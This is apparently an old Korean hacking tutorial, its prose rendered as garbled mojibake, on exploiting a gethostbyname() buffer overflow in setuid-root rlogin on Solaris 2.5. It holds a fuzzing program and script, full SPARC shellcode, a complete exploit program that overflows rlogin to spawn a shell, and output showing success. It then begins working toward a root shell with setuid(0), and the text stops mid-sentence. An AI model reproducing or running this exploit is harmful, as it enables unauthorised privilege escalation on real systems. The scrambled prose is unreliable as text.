[Image] [ ¸Ó¸®¸» ] Áö³­È£¿¡¼­´Â Overflow´Â ¾î¶² ¹æ¹ýÀ¸·Î ÀÌ·ç¾îÁö¸ç, ±×°ÍÀ» À§ÇÑ SEED code¸¦ »ý¼ºÇϴµ¥ ÁÖ·ÂÇÏ¿´´Ù. Bound µÇÁö ¾ÊÀº string¹è¿­¿¡ Å« µ¥ÀÌÅ͸¦ ³Ö¾î¼­ return ÁÖ¼Ò¸¦ ¹Ù²Ù¾î ÁÙ ¼ö ÀÖÀ¸¸ç, ¶ÇÇÑ À§Ä¡¸¦ Àß Àâ¾Æ³»¾î shell code±îÁö ¼öÇàÇÒ ¼ö ÀÖ¾ú´Ù. ÀÌÁ¦ ±× ¸ðµç °ÍÀ» ½ÇÁ¦ UNIX»óÀÇ ¸í·É¿¡ ´ëÇؼ­ Àû¿ëÀ» ½ÃÄѺ¸°íÀÚ ÇÑ´Ù. ¿¬±¸ÇÒ ¶§ º¸´Ù´Â Á¶±ÝÀº ¹ø°Å·Î¿ÍÁú ¼ö ÀÖÁö¸¸, ¾î·µç ¿ì¸®´Â °¡´É¼ºÀ» ŸÁøÇغ¸´Â °ÍÀÌ´Ù. ²À À̱ÛÀ» Àаí ÀÌ·¯ÀÌ·¯ÇÑ ÀÌÀ¯·Î ¿©·¯ ¹®Á¦Á¡ÀÌ ¾ß±âµÇ°í ÀÖ´Ù´Â ±× »ç½ÇÀ» ¸íÈ®ÇÏ°Ô ÀνÄÇÏ°í, °Å±â¿¡ ´ëÇÑ ´ëÃ¥À» °­±¸Çϱ⸦ Èñ¸ÁÇÑ´Ù. [ Solaris GethostByname() bug¸¦ ã´Ù ] ÇÊÀÚ´Â ¿¹Àü¿¡ overflow bug°¡ ÀÖ´Ù¶ó´Â ¸»À» µéÀ¸¸é ±×³É ±×·¸°ÚÁö ÇÏ°í ³Ê¹«³ª ¾î·Á¿î °æÁö, ȤÀº ½ÃµµÇغ¸±â Á¶Â÷ µÎ·Á¿î °ÍÀ̶ó°í »ý°¢Çß¾ú´Ù. ±×·¯³ª, Jeremy ElsonÀ̶ó´Â »ç¶÷¿¡ ÀÇÇؼ­ gethostbyname() ¹ö±×¸¦ °ø°ÝÇÏ´Â ÇÁ·Î±×·¥ÀÌ ¹ßÇ¥µÈ ÈÄ, ÀÌ°ÍÀ» Á÷Á¢ ½ÃµµÇØ º¸°í, µ¿À۵Ǵ °ÍÀ» È®ÀÎÇÏ°í ³ª¼­ ½ÇÁ¦·Î ÀÌ ¹ö±×¿¡ ´ëÇؼ­ ¿¬±¸¸¦ ½ÃÀÛÇÏ¿´´Ù. ÀÌ ¹ö±×´Â gethostbyname()À» »ç¿ëÇÏ´Â °ÅÀÇ ¸ðµç ÇÁ·Î±×·¥¿¡ ´ëÇؼ­ µ¿ÀÛÇÏ´Â Á¤¸» globalÇÑ ¹ö±×ÀÌ´Ù. ÀÌÁ¦ ÀÌ ¹ö±×¿¡ ´ëÇؼ­ ¼³¸íÀ» ÇÏ°Ú´Ù. rloginµîÀÇ ÇÁ·Î±×·¥Àº rlogin (hostname) -l (username) ÇüÅ·Πµ¿ÀÛÀ» ÇÑ´Ù. Æò¼Ò¿¡ rloginÀ» »ç¿ëÇØ ¿Ô´ø »ç¶÷À̶ó¸é À§ÀÇ ÇüŸ¦ ¸ð¸¦ ¹Ù°¡ ¾ø°ÚÁö¸¸, À§ÀÇ ÇüÅ°¡ overflowÀÇ °¡Àå º¸ÆíÀûÀÎ ÇüŶó¸é ÇѹøÂë »ý°¢ÇØ º¸¾Æ¾ß ÇÏ´Â °ÍÀÌ´Ù. rlogin ÇÁ·Î±×·¥Àº À¯Àú·Î ºÎÅÍ(!) hostnameÀ» ¹Þ¾Æ¼­, ÀÌ°ÍÀ» ½ÇÁ¦·Î IP ÁÖ¼Ò·Î ¸ÅÇÎÀ» ÇÏ¿© ¿¬°áÀ» ½ÃµµÇÑ´Ù. À̶§ ¹®Á¦Á¡Àº À¯ÀúÀÇ ÀÇÇؼ­ hostname ºÎºÐÀ» ¹Þ´Â´Ù´Â Á¡Àε¥, ¹Þ´Â °Í±îÁö´Â ¹®Á¦°¡ ¾øÁö¸¸ ÀÌ ÀÎÀÚ¸¦ lengthüũ¸¦ ÇÏÁö ¾Ê°í gethostbyname()¿¡ ³Ñ°ÜÁشٴ »ç½ÇÀÌ ¹®Á¦°¡ µÈ´Ù. ÇÊÀÚ´Â »ç½Ç gethostbyname()ÇÔ¼ö°¡ ¾î¶»°Ô ÀÌ·ç¾î Á® ÀÖ´ÂÁö ¾ËÁö ¸øÇÑ´Ù. ´ÜÁö ¾Ë°í ÀÖ´Â °ÍÀº gethostbyname()ÀÌ buffer overflow¸¦ °¡Áö°í ÀÖ´Ù´Â »ç½Ç»ÓÀÌ´Ù. ±×·¯¸é ´ÙÀ½ÀÇ ¹æ¹ýÀ¸·Î Á¢±ÙÀ» Çغ¸µµ·Ï ÇÑ´Ù. ¸ÕÀú overflow°¡ ½ÇÁ¦·Î ÀϾ´ÂÁö È®ÀÎÀ» Çغ¼ ÇÊ¿ä°¡ ÀÖÀ¸¹Ç·Î, ´ÙÀ½ÀÇ ÇÁ·Î±×·¥À¸·Î overflow°¡ ÀϾ´Â ÁöÁ¡À» »ìÆ캸¾Ò´Ù. --------------------------(*) #include #define MAX 50000 void main (argc, argv) int argc; char **argv; { char buf[MAX]; int i; for(i = 0; i < atoi(argv[1]); i++) buf[i] = 'a'; buf[atoi(argv[1])] = 0; execl("/usr/bin/rlogin", "rlogin", buf, NULL); } ---------------------------(*) À§ÀÇ ÇÁ·Î±×·¥Àº argv[1]·Î stringÀÇ ±æÀ̸¦ ¹Þ¾Æ¼­ rlogin¿¡ ±× length¸¸Å­ÀÇ 'a'¸¦ ³Ö¾î¼­ µ¹¸®´Â ÇÁ·Î±×·¥ÀÌ´Ù. argv[1]·Î ¾î¶² °ªÀ» ¹Þ´À³Ä¿¡ µû¶ó¼­ stringÀÇ ±æÀÌ°¡ Á¤Àǵǰí ÀÖ´Ù. ±×¸®°í ³ª¼­ rlogin aaaaaa..... ÀÌ·± ½ÄÀ¸·Î rlogin¸¦ ¼öÇà½ÃŲ´Ù. rlogin¿¡¼­ ¹Þ¾ÆµéÀÌ´Â ¹®ÀÚ¿­ÀÇ ±æÀ̸¦ üũÇÑ´Ù¸é, ±æÀ̸¦ ¾Æ¹«¸® ±æ°Ô Çؼ­ ³Ö´õ¶óµµ ¿¡·¯°¡ ¹ß»ýÇؼ­´Â ¾ÈµÈ´Ù. ±×·¯³ª, ´ÙÀ½À» º¸ÀÚ. --------------------(*) #!/bin/sh i=80 while [ $i -lt 50000 ] ; do echo $i ./a.out $i i=`expr $i + 80` done --------------------(*) À§ÀÇ ÇÁ·Î±×·¥Àº shell scriptÀε¥, i¶ó´Â º¯¼ö¿¡ 80À» ³Ö°í, 80¾¿À» Áõ°¡½ÃÅ°¸é¼­ ±× i¸¦ a.outÀÇ argv[1]À¸·Î ³Ö¾îÁÖ´Â °ÍÀÌ´Ù. ÃÖ´ë 50000±îÁö µ¹°Ô ÇÑ°ÍÀº À§ÀÇ CÇÁ·Î±×·¥¿¡¼­ ±×·¸°Ô Á¤ÀÇÇÑ ÀÌÀ¯ÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥À» ±¸µ¿½ÃÅ°¸é ¹®ÀÚ¿­ÀÇ ±æÀÌ°¡ 80, 160,240 µîÀ¸·Î °è¼Ó Áõ°¡Çϸ鼭 rlogin¸¦ ÇÏ°Ô µÈ´Ù. ±¸µ¿À» ½ÃÄѺ¸¸é Àç¹ÌÀÖ´Â »ç½ÇÀ» ¹ß°ßÇÏ°Ô µÈ´Ù. --------(*) % wile 80 : unknown host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 160 : unknown host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 240 : unknown host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 320 ...... -------(*) óÀ½ ½ÇÇàÇÒ ´ç½ÃÀÇ outputÀÌ´Ù. aaaaaaa... ¶ó´Â È£½ºÆ®°¡ Á¸ÀçÇÏÁö ¾ÊÀ¸¹Ç·Î, rlogin´Â ±×·¯ÇÑ È£½ºÆ®°¡ ¾ø´Ù´Â ¿¡·¯¸¦ ³½´Ù. ÀÌ·¸°Ô °è¼ÓÇؼ­ ½ÇÇàÀ» ÇÏ´Ùº¸¸é ´ÙÀ½ÀÇ °á°ú¸¦ ¾ò´Â´Ù. -------(*) .... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 8320 ¹ö½º ¿À·ù(Bus Error) 8400 ¹ö½º ¿À·ù(Bus Error) 8480 ..... --------(*) À§ÀÇ °¡·ÁÁø ºÎºÐÀº 8240À̾úÀ» °ÍÀÌ´Ù. À̶§¿¡´Â aaaa.... ¶ó´Â È£½ºÆ®°¡ ¾ø´Ù´Â ¿¡·¯¸¦ ³»¾ú´Ù. ±×·¯³ª, 8320¿¡ À̸£ÀÚ(!)¹ö½º ¿À·ù(!)¶ó´Â ¿¡·¯¸¦ ³½´Ù. ÀÌ°ÍÀº ¹«½¼ ¶æÀΰ¡? ÀÌ°ÍÀº À̵é stringÀÌ ¹öÆÛÀÇ ¿µ¿ªÀ» ³Ñ¾î¼­ return address¸¦ °Çµå·È´Ù´Â ¶æÀÌ µÈ´Ù. ¾Æ¸¶ 8240~8320 ±× length »çÀÌ¿¡ RETÁÖ¼Ò°¡ Á¸ÀçÇÒ °ÍÀ̶ó°í »ó»óÇÒ ¼ö ÀÖ´Ù. À§¿¡¼­ Àç¹ÌÀÖ´Â »ç½ÇÀ» ¹ß°ßÇÒ ¼ö Àִµ¥, ±×°ÍÀº È£½ºÆ®°¡ Á¸ÀçÇÏÁö ¾ÊÀ» °æ¿ì, : unknown host ¶ó°í ¸Þ½ÃÁö¸¦ º¸À̸鼭, µÚ¿¡ ¿ì¸®°¡ ³Ö¾îÁØ È£½ºÆ®ÀÇ À̸§ÀÌ ³ªÅ¸³ª´Â °ÍÀÌ´Ù. ´ëü·Î À§¿Í °°Àº ¸Þ½ÃÁö¸¦ ³¾ ¶§¿¡´Â ´ÙÀ½°ú ºñ½ÁÇÑ ÇÁ·Î±×·¡¹ÖÀ» ÇÏ°Ô µÈ´Ù. -----------(*) extern char *hostname; char buf[1000]; sprintf(buf, ": unknown host %s", hostname); -----------(*) ±×·¯¸é ¹®Á¦°¡ µÇ´Â °ÍÀº sprintfÀε¥, sprintf´Â buf¿¡ ³»¿ëÀ» ³ÖÀ» ¶§ hostnameÀÇ length¸¦ üũÇÏÁö ¾Ê°í µ¤¾î¼­ ³Ö°Ô µÇ¾î ÀÖ´Ù. ±×·¯¹Ç·Î, buf¸¦ 1000À̶ó°í Àâ¾Ò´Ù¸é 1000Àº ±Ý¹æ ³Ñ¾î°¡ ¹ö¸®°í, ÀÌÀü È£¿¡¼­ ¸»ÇÑ buffer overflow°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Â °ÍÀÌ´Ù. ÇÊÀÚ´Â ¾Æ¸¶ sprintf()¸¦ »ç¿ëÇÏ¿´À» °ÍÀ̶ó°í »ý°¢ÇÏ°í ÀÖ´Ù. ¾î·µç ±×·¸´Ù¸é, ¹®ÀÚ¿­ÀÇ ³¡ºÎºÐ¿¡ return addressµéÀ» ±ò¾Æ¹ö¸®¸é ¿ì¸®°¡ ¿øÇÏ´Â °÷À¸·Î Á¡ÇÎÀ» ½Ãų ¼ö ÀÖÀ» °ÍÀ̸ç, ±×°÷¿¡ ¿ì¸®°¡ ¸¸µç seed code¸¦ ³Ö¾î ³õÀº ´Ù¸é ¿øÇÏ´ø °á°ú¸¦ µµÃâ ÇØ ³¾ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×·¯³ª ¹®Á¦Á¡ÀÌ ÇÑ°¡Áö Á¸ÀçÇÑ´Ù. °ú¿¬ return address¸¦ ¾î´À °÷À» Àâ¾Æ ÁÖ¾î¾ß ÇÏ´À³Ä´Â »ç½ÇÀÌ´Ù. [ Stack Jumping À§Ä¡¸¦ Àâ¾ÆÁÖ±â ] À§¿¡¼­ ã¾Æ³½ °ÍÀº ¿ì¸®°¡ ¹®ÀÚ¿­ÀÇ ±æÀ̸¦ ¾ó¸¶¸¸Å­ ÁÖ¸é overflow°¡ ÀϾ´ÂÁö¿¡ °üÇÑ °ÍÀ̾ú´Ù. ±×·¯³ª, °¡Àå ³­Á¡À¸·Î µîÀåÇÏ°í ÀÖ´Â °ÍÀº return address°¡ ¾î´À °÷À̳Ĵ °ÍÀÌ´Ù. ±×·¯³ª, ±×°ÍÀº ÀÇ¿Ü·Î °£´ÜÈ÷ ÇØ°áµÈ´Ù. ´ÙÀ½À» º¸ÀÚ. --------(*) PROGRAM 1 void sub(void) { char c; printf("%ld\n", c); sleep(10); } void main(void) { sub(); } --------(*) PROGRAM 2 void sub(void) { char c; printf("%ld\n", c); sleep(10); } void main(void) { sub(); } --------(*) À§ÀÇ µÎ ÇÁ·Î±×·¥À» º¸ÀÚ. µÑÀÇ Â÷ÀÌÁ¡Àº ÀüÇô ¾ø´Ù. À̶§ ÀÌ µÎ ÇÁ·Î±×·¥À» ¼­·Î ´Ù¸¥ window(process)¿¡¼­ ¼öÇàÇÏ¿´´Ù°í »ý°¢ÇÑ´Ù. ¸¸ÀÏ µ¿½Ã¿¡ ¼öÇàµÇ°í ÀÖ´Ù¸é À̵éÀÌ Çϵå¿þ¾î ¸Þ¸ð¸® »ó¿¡ ¿Ã¶ó°¡´Â À§Ä¡°¡ ºÐ¸íÀÌ ´Ù¸¦ °ÍÀ̶ó°í ÁüÀÛÇÒ ¼ö ÀÖ´Ù. À̵éÀÌ À§Ä¡ÇÒ stackÀÇ À§Ä¡ ¹× ÇÁ·Î±×·¥ÀÌ À§Ä¡ÇÏ´Â °÷µé ¸ðµç °ÍÀÌ ´Ù¸¦ °ÍÀÌ´Ù. ¾î·µç µÑÀ» µ¹·Áº¸°í »ý°¢Çغ¸µµ·Ï ÇÑ´Ù. µÑÀÌ µ¿½Ã¿¡ ¶°ÀÖÀ» ¼ö ÀÖµµ·Ï sleep(10)À¸·Î 10Ãʵ¿¾È ¸Ó¹«¸£µµ·Ï Çß´Ù. ´ÙÀ½Àº µÑÀÌ µ¿½Ã¿¡ µ¹¾ÒÀ» ¶§ÀÇ °á°ú °ªÀÌ´Ù. --------(*) % a.out -268436225 --------(*) % a.out -268436225 --------(*) µÑÀÌ ¶È°°Àº °ªÀ» °¡Áö°í ÀÖ´Ù. ÀÌ°ÍÀº ¹«¾ùÀ» ÀǹÌÇϴ°¡? µÑÀÌ µ¿ÀÏÇÑ ¸Þ¸ð¸®¸¦ µ¿½Ã¿¡ accesÇß´Ù´Â ¸»ÀÌ µÇ´Â°¡, ±×°ÍÀº ¾Æ´Ï´Ù. °á±¹ ÀǹÌÇÏ´Â °ÍÀº ¹Ù·Î ¼öÇàµÉ ¶§ ÇÁ·Î±×·¥ÀÌ º¸°í ÀÖ´Â ¸Þ¸ð¸®ÀÇ ¸ÊÀÌ virtualÇÏ´Ù´Â »ç½ÇÀÌ´Ù. ¸ðµç ÇÁ·Î¼¼½ºµéÀÌ ¶°¼­ Á×À» ¶§±îÁö »ç¿ëÇÏ´Â ¸Þ¸ð¸®ÀÇ ¸ÊÀº ½ÇÁ¦ Çϵå¿þ¾î »óÀÇ ¸ÊÀÌ ¾Æ´Ñ Ä¿³Î¿¡¼­ ÀûÀýÈ÷ Á¦¾î¸¦ ÇÑ virtual address mapÀ» »ç¿ëÇÑ´Ù. ±×·¸´Ù¸é ¿ì¸®ÀÇ °á·ÐÀº ¹«¾ùÀΰ¡? ¿ì¸®°¡ ¾î¶² ÇÁ·Î±×·¥¿¡¼­ ¾òÀº ¾îµå·¹½º¸¦ ´Ù¸¥ ÇÁ·Î±×·¥¿¡µµ Àû¿ë½Ãų ¼ö ÀÖ´Ù´Â °ÍÀÌ µÈ´Ù. ÀÚ ÀÌÁ¦ gethostbyname()À» ½ÇÁ¦·Î overflow½ÃÄѼ­ shellÀ» ¶ç¿öº¸ÀÚ. [ Solaris5.5 rloginÀ» ÀÌ¿ëÇؼ­ shellÀ» ¶ç¿ì´Ù ] ÀÚ ÀÌÁ¦ exploit¸¦ À§Çؼ­ Äڵ带 »ý¼ºÇغ¸µµ·Ï ÇÏ°Ú´Ù. Áö³­ È£¿¡¼­ ±×·¸°Ô À̾߱⸦ ÇßÁö¸¸ seed codeÀÇ ÇüÅ´ NNNNNNNNSSSSSSSSSSRRRRRRRRR ÇüÅÂÀÇ NSR±¸Á¶¸¦ °¡Áø´Ù°í Çß´Ù. ¾ÕÀÇ NÀº Ȥ½Ã ¸ð¸¦ À§Ä¡¸¦ Àâ¾ÆÁÖ±â À§ÇÑ NOP codeÀ̸ç, S´Â ½ÇÁ¦·Î shellÀ» ½ÇÇà½ÃÅ°´Â shell codeÀÌ°í, RÀº ¾ÕÀÇ NS±¸Á¶·Î Á¡ÇÎÀ» À§ÇÑ ¾îµå·¹½º¶ó°í Çß´Ù. À̶§ ¿ì¸®´Â N°ú S¸¦ °¡Áö°í ÀÖÁö¸¸ RÀ» °¡Áö°í ÀÖÁö ¾Ê´Ù. ±×·¯³ª, ´ÙÇàÀΰÍÀº ¿©·¯ ±âÁ¾¿¡ µû¶ó Ʋ¸± Áö¾ðÁ¤ ÇϳªÀÇ ±â±â ¾È¿¡¼­ÀÇ stackÀÇ ±¸Á¶´Â ¶È°°´Ù´Â »ç½ÇÀÌ´Ù. ±×·¯¹Ç·Î, RÀÇ À§Ä¡¸¦ scanÇؼ­ ã¾Æ³»µµ·Ï ÇÏ°Ú´Ù. ¾Æ·¡ÀÇ ÄÚµå´Â overflow¸¦ À§ÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. -----(*) #include /* seed code */ u_char seed[] = "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; /* assembly NOP code */ #define NOP 0xa61cc013 /* À§¿¡¼­ ã´Â overflow°¡ ÀÌ·ç¾îÁö´Â buffer ±æÀÌ */ #define BUF_LENGTH 8320 /* return address¸¦ ´ã´Â ºÎºÐÀÇ ±æÀÌ */ #define RET_LENGTH 160 u_long get_sp(void) { _asm__("mov %sp, %i0 \n"); } void main(argc, argv) int argc; char **argv; { char buf[BUF_LENGTH]; u_long *putaddr; u_long retaddr; int index; int i; putaddr = buf; /* NOPÀ¸·Î buffer¸¦ ÀÏ´Ü ²Ë ä¿î´Ù. */ for(i = 0; i < 8320 / 4; i++) *(putaddr++) = NOP; /* shell code¸¦ RET¹Ù·Î ÀüºÎºÐ¿¡ »ðÀÔ½ÃŲ´Ù. */ index = BUF_LENGTH -RET_LENGTH - strlen(seed); for(i = index; i < (index + strlen(seed)); i++) buf[i] = seed[i -index]; /* ³ª¸ÓÁö RET address¸¦ ¸¶Áö¸· ºÎºÐ¿¡ »ðÀÔ½ÃŲ´Ù. */ putaddr = buf +BUF_LENGTH - RET_LENGTH; retaddr = get_sp(); retaddr += 112; retaddr -= atoi(argv[1]); for(i = 0; i < (RET_LENGTH / 4); i++) { *(putaddr++) = retaddr; printf("%d\n",i); } /* ÀÌ code¸¦ rlogin¿¡ ³Ö¾î¼­ ¼öÇàÇÑ´Ù. */ execl("/usr/bin/rlogin","rlogin", buf, NULL); } ----(*) ÀÌÁ¦ À§ÀÇ ÇÁ·Î±×·¥À» °£·«ÇÏ°Ô ¼³¸íÇغ¸µµ·Ï ÇÏ°Ú´Ù. ¸ÇóÀ½¿¡ ³ªÅ¸³­ char seed[]´Â ÀÌÀü È£¿¡¼­ ¸¸µç shellÀ» execÇÏ´Â codeÀÌ´Ù. NOPÀº ¾Æ¹«·± ÀÏÀ» ÇÏÁö ¾Ê´Â ¾î¼Àºí¸® ¸í·ÉÀ» ÁöĪÇÏ°í ÀÖ´Ù. BUF_LENGTH´Â overflow°¡ ÀϾ´Â bufferÀÇ ±æÀ̸¦ Á¤ÀÇÇÑ °ÍÀ¸·Î, ¸Ç ¾Õ¿¡¼­ 'a'¸¦ ³Ö¾î¼­ overflow°¡ ÀϾ´Â °ÍÀ» È®ÀÎÇÑ ºÎºÐ¿¡¼­ ¾ò¾î³½ °ªÀÌ´Ù. RET_LENGTH´Â return code°¡ µé¾î°¡´Â ºÎºÐÀÇ ±æÀÌÀÌ´Ù. À§ ÇÁ·Î±×·¥ÀÌ ÇÏ´Â ÀÏÀº Á¤¸» °£´ÜÇÏ´Ù. ´ÜÁö NSRÀÇ ±¸Á¶·Î buf¸¦ ±¸¼ºÇÏ°Ô ÇÏ°í, RÀÇ °æ¿ì´Â argv[1]·Î ºÎÅÍ ¹Þ¾Æ¼­ ÇöÀç stackÀÇ À§Ä¡·Î ºÎÅÍ ¾ó¸¶¸¸Å­À» ¶Ùµµ·Ï ÇÏ´À³Ä¸¦ Á¤ÇÒ »ÓÀÌ´Ù. ±×¸®°í³ª¼­ ÀÌ buf¸¦ rloginÀÇ ÀÎÀÚ·Î ³Ñ°Ü¼­ ¼öÇàÇÑ´Ù. À§ÀÇ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÏ¿© µ¹·Áº¸¾Ò´Ù. ------(*) % a.out 0 À߸øµÈ ¸í·É(Illegal Instruction) % a.out 80 À߸øµÈ ¸í·É(Illegal Instruction) % -------(*) ¾Æ¸¶ ÇöÀçÀÇ spÀ§Ä¡·Î ºÎÅÍ Á»´õ ¸Ö¸®¿¡ NOPÀÌ ³ªÅ¸³¯ °ÍÀÌ´Ù. ¾î·µç ÀÌ·¸°Ô ¼öÀÛ¾÷À¸·Î ã´Â °ÍÀº ÈûÀÌ µé°ÍÀ̹ǷÎ, automationÀ» Çغ¸µµ·Ï ÇÏ°Ú´Ù. À§¿¡¼­ overflow°¡ ³ª´Â °ÍÀ» üũÇϱâ À§Çؼ­ ¸¸µç shell script¸¦ ¾Ë°ÍÀÌ´Ù. ÀÌ°ÍÀº $i¶ó´Â º¯¼ö¸¦ °è¼Ó Áõ°¡½ÃÄÑ°¡¸é¼­ a.outÀ» ¼öÇàÇϵµ·Ï ÇÑ °ÍÀε¥, ÀÌ °æ¿ì¿¡µµ match¸¦ ½ÃÄѺ¸µµ·Ï ÇÏ°Ú´Ù. ÀÌ shell scriptÀÇ À̸§À» wileÀ̶ó°í ¸í¸íÇßÀ¸´Ï Âø¿À¾ø±â ¹Ù¶õ´Ù. ---------(*) % wile 0 À߸øµÈ ¸í·É(Illegal Instruction) 80 ¼¼±×¸àÅ×À̼ǰáÇÔ(Segmentation Fault) 160 À߸øµÈ ¸í·É(Illegal Instruction) 240 À߸øµÈ ¸í·É(Illegal Instruction) 320 À߸øµÈ ¸í·É(Illegal Instruction) 400 À߸øµÈ ¸í·É(Illegal Instruction) 480 À߸øµÈ ¸í·É(Illegal Instruction) 560 À߸øµÈ ¸í·É(Illegal Instruction) 640 À߸øµÈ ¸í·É(Illegal Instruction) 720 À߸øµÈ ¸í·É(Illegal Instruction) 800 ½Ã½ºÅÛ È£Ãâ ¿À·ù(Bad System Call) 880 $ --------(*) OOPS! shellÀÌ ¶¹´Ù. rloginÀÇ buffer overflow¸¦ ÀÌ¿ëÇؼ­ shellÀ» ¶ç¿ì´Âµ¥ ¼º°øÇÏ¿´´Ù. 880 °ªÀ» ³ÖÀÚ shellÀÌ ¶¹´Ù. ÀÌ °ªÀº ¾ó¸¶µçÁö Áõ°¡ÇÒ ¼ö Àִµ¥, ±×°ÍÀº 880¿¡ À̸£·¯¼­ NOP¿¡ °É·È´Ù´Â Àǹ̸¦ °¡Áö±â ¶§¹®ÀÌ´Ù. 800¿¡¼­ ½Ã½ºÅÛ È£Ãâ ¿À·ù¶ó°í ¶¹´Âµ¥, ÀÌ°ÍÀº 800¿¡¼­ seed codeÀÇ Áß°£ ºÎºÐÀ¸·Î JumpingÀ» ÇÑ ÀÌÀ¯¶ó°í »ý°¢µÈ´Ù. [ setuid¸¦ Ãß°¡ÇÏ¿© root shellÀ» ... ] ¹®Á¦´Â ÀÌÁ¦ºÎÅÍÀÌ´Ù. ¿Ö "#"ÀÌ ¶ßÁö ¾Ê°í "$"°¡ ¶¹´Â°¡¿¡ °üÇÑ °ÍÀÌ´Ù. ¸ÕÀú rloginÀÇ permissionÀ» üũÇغ¸ÀÚ. ---------(*) % ls -lsa /usr/bin/rlogin 30 -rwsr-xr-x 1 root bin 14552 1995³â 10¿ù 25ÀÏ /usr/bin/rlogin* % ----------(*) ºÐ¸íÈ÷ setuid°¡ ºÙ¾îÀֱ⠶§¹®¿¡, root shellÀÌ ¶°¾ßÇÒ °ÍÀε¥, $°¡ ¶¹´Ù. ÀÌ°ÍÀº setuid¿¡ ½ÇÆÐÇÑ °ÍÀΰ¡, ¾Æ´Ï¸é rloginÀÚü¿¡¼­ ÀÌ°ÍÀ» ¹æÁöÇÏ°í ÀÖ´Â °ÍÀΰ¡, Àǹ®ÀÌ »ý±âÁö ¾ÊÀ» ¼ö ¾ø´Ù. ÇÊÀÚµµ ÀÌ "$"¿¡ ´ëÇؼ­ ¾öû³ª°Ô °í½ÉÀ» Çß¾ú´Ù. ±×·¯³ª, ³ªÁß¿¡¼­¾ß ±× Àǹ®ÀÌ Ç®·È´Ù. ±× ¿øÀÎÀº setuid¸¦ ÇÏÁö ¾ÊÀº µ¥ ÀÖ¾ú´Ù. ÇÊÀÚ´Â °í½É ³¡¿¡ setuid(0); ¶ó´Â Äڵ带 ¸¸µé¾î ³Ö±â¿¡ À̸£·¶´Ù. ÀÌÁ¦ ºÎÅÍ ÀÏ»çõ¸®ÀÌ´Ù. ÀÌÀüÈ£³ª À̹ø ±ÛÀ» Á¦´ë·Î ÀÐÁö ¾Ê¾Ò´Ù¸é Á¶±ÝÀº ÀÌÇØÇϱâ Èûµé ¼öµµ ÀÖ´Ù. ´ÙÀ½ÀÇ ÀÏ·ÃÀÇ °úÁ¤Àº ½ÇÁ¦ »óȲÀÌ´Ù. ---------(*) % cat > setuid.c #include #include void main(void) { setuid(0); } % gcc -g -static setuid.c % gdb a.out (gdb) disassemble main ^^^^^^^^^^^^^^^ Dump of assembler code for function main: 0x10150
: save %sp, -112, %sp 0x10154 : clr %o0 0x10158 : call 0x1022c <_setuid> 0x1015c : nop 0x10160 :ret 0x10164 : restore End of assembler dump. (gdb) disassemble_setuid ^^^^^^^^^^^^^^^^^^^ Dump of assembler code for function _setuid: 0x1022c <_setuid>: mov 0x17, %g1 0x10230 <_setuid+4>: ta 8 0x10234 <_setuid+8>: bcc 0x10248 <_setuid+28> 0x10238 <_setuid+12>:sethi %hi(0x10000), %o5 0x1023c <_setuid+16>: or %o5, 0x268, %o5 ! 0x10268 <_cerror> 0x10240 <_setuid+20>: jmp %o5 0x10244 <_setuid+24>:nop 0x10248 <_setuid+28>: retl 0x1024c <_setuid+32>: mov %g0,%o0 End of assembler dump. (gdb) --------(*) gdb³»¿¡¼­ÀÇ Å°ÀÎ ÇÑ °ÍÀº "^^^^"·Î ³ªÅ¸³»¾ú´Ù. ¿©±â¿¡¼­ ¾Ë¾Æ³»°íÀÚ ÇÏ´Â °ÍÀº ¹Ù·Î setuid(0); ÀÇ assembly ¾Æ´Ï machine codeÀÌ´Ù. ¿©±â¿¡¼­ º»Áï setuid(0); ¿¡¼­ 0¸¦ ´ã´çÇÏ°í ÀÖ´Â °ÍÀº %o0ÀÌ´Ù. ¾Õ¿¡¼­µµ ºÃµíÀÌ %o0, %o1.. µîÀÌ 